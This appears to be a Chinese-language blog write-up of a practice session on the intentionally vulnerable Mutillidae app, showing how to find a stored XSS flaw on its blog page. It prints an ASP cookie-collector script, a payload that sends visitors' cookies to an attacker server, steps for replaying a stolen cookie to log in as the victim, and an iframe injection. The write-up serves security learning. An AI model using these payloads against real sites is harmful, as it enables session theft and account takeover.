今天主要完成了对Add to blog页面的存储型XSS漏洞利用,利用其完成cookie窃取及利用、网页插入两个简单操作。另外在窃取cookie时,完成了服务器端asp文件的部署,并且在盗取cookie后利用插件完成了身份伪造登录。

难点主要在与服务器的搭建,在服务器搭建时,先是尝试了使用一个新加坡的vps进行cookie收集,但是因为ssh连接的问题始终没有成功,最后采用阿里云服务器成功部署。

检查是否存在XSS漏洞

mutillidae实战(2)

一个很简单的发表博客的页面,可以看到这里未登陆的话默认用户名为“anonymous”。

之前已经在这个页面上进行过SQL注入完成伪造其他用户进行日志新增的操作,现在在这个页面上继续寻找漏洞。先登录一个用户,这里登录之前在register中注册过的faker用户。

mutillidae实战(2)

mutillidae实战(2)

可以看到,此时faker是博主,并且可以在这个页面添加blog了,添加一个内容为I am faker的博客, 并且点击Save Blog Entry进行保存,此时这篇博客I am faker会保存到后台数据库中,并且可以在下面查看到faker的博客。

mutillidae实战(2)

除此之外,还可以通过View Blogs来查看其它用户的博客,这里尝试查看下john的博客。

mutillidae实战(2)

这里就有文章可做了,根据所知道的,在浏览一个网页时,需要将这个网页加载下来,然后由浏览器进行描述,最后将这个网页展现在用户面前,那么假设某一个用户在建立博客时写入了一段Javascript脚本的内容,那么当其他用户查看这个用户的博客时,浏览器便可能会将这个Javascript脚本内容进行解释执行,这样也就是说,这个博客系统则存在一个XSS漏洞。 

那么,现在尝试一下写入一段Javascript脚本,先再次新建一个用户test,然后使用这个用户在博客中写入一段Javascript脚本。

mutillidae实战(2)

这里选择插入的Javascript脚本为

<script>alert(document.cookie);</script>

如果在用户访问博客时,浏览器选择将这个脚本进行描述执行,那么使用这个脚本,可以将该用户的日志以alert的形式打印出来。

点击添加博客,然后切换成faker用户来访问test的博客记录,可以看到,faker访问网站的cookie被打印了出来,也就是说在此处浏览器会将插入的Javascript脚本进行解释执行,此处存在一个存储型XSS漏洞:

mutillidae实战(2)

XSS漏洞利用

检测出存在漏洞后,可以通过注入其他JavaScript脚本来实现其他功能。

这里我尝试两个利用XSS漏洞的常见用法:

1 cookie窃取及利用

通过插入JavaScript脚本来窃取访问者的cookie

这一步类似于之前的那个alert,但是在窃取中,需要将这个日志给传输到攻击者所拥有的服务器中,首先是服务器的部署,我在这里使用的是自己的阿里云服务器,新建一个cookie.asp文件,并将其放入服务器中,文件内容如下:

<html>

<title>xx</title>

<body>

<%testfile = Server.MapPath("code.txt")  //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中

msg = Request("msg")  //获取提交过来的msg变量,也就是cookie值

set fs = server.CreateObject("scripting.filesystemobject") //创建一个fs对象

set thisfile = fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(""&msg&"") //向code.txt中写入获取来的cookie

thisfile.close()  //关闭

set fs = nothing%>

</body>

</html>

部署好服务器后,登录faker用户在blog中插入JavaScript脚本实现cookie盗取功能:

mutillidae实战(2)

这里使用的JavaScript脚本为:

<script>window.open('http://(IP)/cookie.asp?msg='+document.cookie)</script>

该脚本实现读取访问日志,并且将其发送到指定的位置中。

点击Sava进行博客的提交,然后使用test用户来查看这个博客,然后登录服务器查看code.txt文件,可以看到test此次访问的cookie已经被盗取:

mutillidae实战(2)

接下来,可以通过使用Tamper Data插件,使用Start Tamper抓取登录信息,并在途中的cookie一栏中将其替换成抓取到的cookie,以此来实现test用户的登录。

mutillidae实战(2)

2  网页插入

通过插入脚本插入其他网页。

这个应用比较复杂,可以通过插入语句以实现跳转到其他网页,也可以直接修改当前页以盗取信息,这里进行一个比较简单的操作,主要是在博客中插入超链接实现将博客内容改为百度首页,登录faker用户编辑博客内容为:

<iframe src="https://www.baidu.com" />

通过插入这条博客,可以将用户访问的博客内容修改为百度搜索首页,点击Save后使用test访问faker的博客内容:

mutillidae实战(2)

心得体会

之前挖了三个SQL,现在尝试下存储型XSS。实际上两者都是通过恶意代码的注入来实现攻击者对后台或者浏览器的一些攻击。从名字也能看出,XSS表示Cross Site Scripting(跨站脚本攻击),与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在XSS攻击中,则是通过插入恶意脚本,实现对用户游览器的控制。

经过今天的挖洞,也简单总结下存储型XSS攻击的基本流程:

a. 黑客在留言板或者博客内插入恶意的html或者Javascript代码,并且提交;

b. 网站后台程序将留言内容存储在数据中;

c. 其他用户访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了之前黑客的留言内容,并且直接插入在html页面中,导致黑客留言的脚本被浏览器解释执行,此时可能出现以下情况:

cookie被窃取;

重定向网站到一个钓鱼网站;

页面内容被更改,让客户输入用户名,密码,然后提交到黑客的服务器。

 

mutillidae实战(1)

 

相关文章: